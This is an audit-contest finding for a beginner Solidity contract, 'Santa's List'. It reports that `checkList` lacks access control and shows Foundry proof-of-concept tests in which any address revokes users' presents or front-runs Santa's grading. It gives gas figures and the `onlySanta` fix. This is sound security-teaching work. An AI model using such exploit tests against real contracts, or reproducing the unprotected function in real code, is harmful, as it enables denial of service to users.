Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

`checkList` has no access control — any address revokes every graded user's present and blocks Santa from completing a grading

Root + Impact

Description

`checkList` is marked `external` with no access control modifier, allowing any arbitrary address to overwrite anyone's status in the first list. Because `collectPresent` requires both the first and second lists to agree, an attacker can disrupt or permanently block grading workflows.
### Vulnerability Details
```solidity
function checkList(address person, Status status) external { // <-- missing modifier
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

Risk


### Impact
An address with no role, no capital and no tokens denies every graded user the present Santa awarded
them, for **18,798 gas per victim**. In the PoC, Santa grades a 5-address allowlist through both
passes; a control deployment confirms all five collect and 2e18 SANTA is minted. Against the attacked
deployment the attacker spends **93,990 gas total** and **0 of 5 presents are delivered, 0 SANTA is
ever minted**.
Individually repairable, but the denial is durable in practice: the attacker re-griefs for 18,798
gas, the contract is immutable so there is no patch, and there is no pause and no way for Santa to
make the attack stop. Repair is a treadmill Santa pays for indefinitely, not a remedy.
The grading-denial impact has no repair at all. Santa spends **164,202 gas** trying to grade five
users and grades **zero**. The attacker spends **24,070 gas — 14% of Santa's** — and no user ever
collects a present or receives any SANTA. The protocol's single core function is denied to all users
at trivial cost with no terminating remedy, and a stated rule is broken outright.

Proof of Concept

**Proof of Concept** — `test/Claude/F03_UnprotectedCheckList.t.sol`, `F03_CheckTwiceGrief.t.sol`
```bash
forge test --match-test test_F03 -vvv
```
```solidity
assertTrue(list.getSanta() != attacker, "attacker holds no role");
vm.startPrank(attacker);
for (uint256 i = 0; i < 5; i++) {
list.checkList(allowlist[i], SantasList.Status.NAUGHTY); // no modifier stops this
}
vm.stopPrank();
for (uint256 i = 0; i < 5; i++) {
vm.prank(allowlist[i]);
try list.collectPresent() {} catch { revoked++; }
assertEq(list.balanceOf(allowlist[i]), 0, "victim received nothing");
}
assertEq(revoked, 5, "the entire graded allowlist was denied");
assertEq(token.totalSupply(), 0, "no SantaToken was ever minted");
```
```
[PASS] test_F03_OutsiderRevokesEveryPresentOnTheList()
addresses Santa graded through both passes: 5
presents they were entitled to: 5
SANTA they were entitled to (wei): 2000000000000000000
presents actually delivered: 0
SANTA actually minted (wei): 0
attacker role held: none
attacker capital required (wei): 0
total gas to revoke the entire allowlist: 93990
gas per victim: 18798
[PASS] test_F03_Grief_SantaCanNeverCompleteGradingUnderGriefing()
users Santa tried to grade: 5
users successfully graded: 0
users who collected a present: 0
SANTA minted to intended users(wei): 0
gas spent by Santa: 164202
gas spent by the attacker: 24070
attacker cost as % of Santa's: 14
[PASS] test_F03_Grief_SantaHasNoAtomicGradingPath()
Santa repair attempts: 3
successful gradings: 0
batched entry point in the contract: none
[PASS] test_F03_ModifierBlocksTheRevocation()
attacker writes to the list: reverted NotSanta
presents delivered to the real allowlist: 5
SANTA minted (wei): 2000000000000000000
```

Recommended Mitigation

To permanently resolve this vulnerability, apply the `onlySanta` access control modifier to the `checkList` function. This modifier already exists within the contract and is correctly utilized on `checkTwice`, ensuring that only the authorized Santa address can execute state-modifying checks. Restricting this function prevents unauthorized actors from overwriting user statuses, eliminates the revocation of legitimate presents, and protects the overall grading lifecycle from persistent denial-of-service attacks.
```diff
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

## Description With the current design of the protocol, anyone is able to call `checkList` function in SantasList contract, while documentation says only Santa should be able to call it. This can be considered as an access control vulnerability, because not only santa is allowed to make the first check. ## Vulnerability Details An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation). By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`, anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check. Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue. ## Impact The impact of this vulnerability is HIGH as it results in a broken mechanism of the check list system. Any user could be declared `NAUGHTY` for the first check at any time, preventing present collecting by users although Santa considered the user as `NICE` or `EXTRA_NICE`. Santa could still call `checkList` function again to reassigned the status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function, but any malicious actor could front run the call to `checkTwice` function. In this scenario, it would be impossible for Santa to actually double check a `NICE` or `EXTRA_NICE` user. ## Proof of Concept Just copy paste this test in SantasListTest contract : ``` function testDosAttack() external { vm.startPrank(makeAddr("attacker")); // any user can checList any address and assigned status to naughty // an attacker could front run Santa before the second check santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); vm.startPrank(santa); vm.expectRevert(); // Santa is unable to check twice the user santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE); vm.stopPrank(); } ``` ## Recommendations I suggest to add the `onlySanta` modifier to `checkList` function. This will ensure the first check can only be done by Santa, and prevent DOS attack on the contract. With this modifier, specification will be respected : "In this contract Only Santa to take the following actions: - checkList: A function that changes an address to a new Status of NICE, EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list." The following code will resolve this access control issue, simply by adding `onlySanta` modifier: ``` function checkList(address person, Status status) external onlySanta { s_theListCheckedOnce[person] = status; emit CheckedOnce(person, status); } ``` No malicious actor is now able to front run Santa before `checkTwice` function call. The following tests shows that doing the first check for another user is impossible after adding `onlySanta` modifier: ``` function testDosResolved() external { vm.startPrank(makeAddr("attacker")); // checklist function call will revert if a user tries to execute the first check for another user vm.expectRevert(SantasList.SantasList__NotSanta.selector); santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!